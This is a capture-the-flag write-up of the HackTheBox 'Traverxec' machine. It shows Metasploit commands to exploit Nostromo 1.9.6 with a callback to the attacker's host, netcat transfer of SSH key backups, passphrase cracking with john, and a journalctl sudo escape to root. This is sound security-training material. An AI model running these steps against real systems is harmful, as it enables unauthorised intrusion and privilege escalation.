HackTheBox: Traverxec
Host enumeration and getting the initial shell
As usual, we begin with an nmap scan to identify listening services. Here we have two services listening
- 22: OpenSSH 7.9p1
- 80: Nostromo 1.9.6
We take a quick look on Google for nostromo 1.9.6 and find a Metasploit Framework module which we can import and try. It was pretty easy, and worked first try.
use exploit/multi/http/nostromo_code_exec
SET RHOSTS 10.10.10.165
SET RPORT 80
SET SRVHOST 10.10.14.45
SET SRVPORT 8080
exploit
Pivoting to user.txt
We have already obtained the www-data shell, our next task is to pivot to the local user before we can escalate our privileges to root permissions. Lets take a look at the nostromo web server and its configuration. We can find the configuration file in /var/nostromo/conf/nhttpd.conf.
When looking at the home page, we see that this page is by David, which could be a potential username. We look at the homedirs configuration of the nostromo web server and see /home. So perhaps, what happens is that each user has their own web page. After navigating to /home in our www-data shell, we see the David user file. In addition, the homedirs_public configuration is set to public_www. The public home directory is usually a folder which allows user-specific directories to be retrieved through the web server. The permissions must be set such that this folder is globally readable.
We can use the www-data shell to cd into /home/david/public_www, and we see two files.
.htaccessbackup-ssh-identity-files.tgz
Very good, there is likely to be some useful information here. .htaccess usually contains configuration info for example which user accounts have access to certain directories. The backup of SSH files can allow us to get a SSH session as the David user. Lets use netcat to transfer the files to our localhost.
It turns out that the private key was encrypted with a passphrase. However, we can try to brute force the password using john and the ssh2john.py module.
Escalating Privileges
In the home directory of the folder, we see an interesting/ suspicious folder named bin. When taking a look inside, we see a bash script called server-stats.sh. The good thing about bash scripts is that they are not compiled; therefore we can see the source; the commands to be executed.
The interesting thing about the final line is that we execute the journalctl binary in super user context. If we can hijack this, then we can be root.
Firstly, I check whether we can use the journalctl binary with different commands, for example with -n6 instead of -n5. This would see what kind of command we could run as sudo, as we are not able to view the output of sudo -l. Changing the journalctl command itself would always ask for a password. So I had to resort to something else…
I tried to see whether we could run the command on its own, rather than the output being piped to cat. And we can! I suppose that the purpose of piping the command into cat is so that the result is displayed in the bash script rather than going into the interactive journalctl output.
I remembered to check the gtfobins pages about the journalctl binary, and we see that journalctl has a method to get a shell, simply by typing !/bin/bash.
Closing Thoughts
A fun box for sure. I wanted to know what the sudo -l output would have been if David would have had access to view that. It also helps to explain why we were able to escape the journalctl binary so simply.
We notice that the /etc/sudoers file has been edited. However, it fails to include the | /usr/bin/cat which exists in the bash script – which could perhaps be more safe.
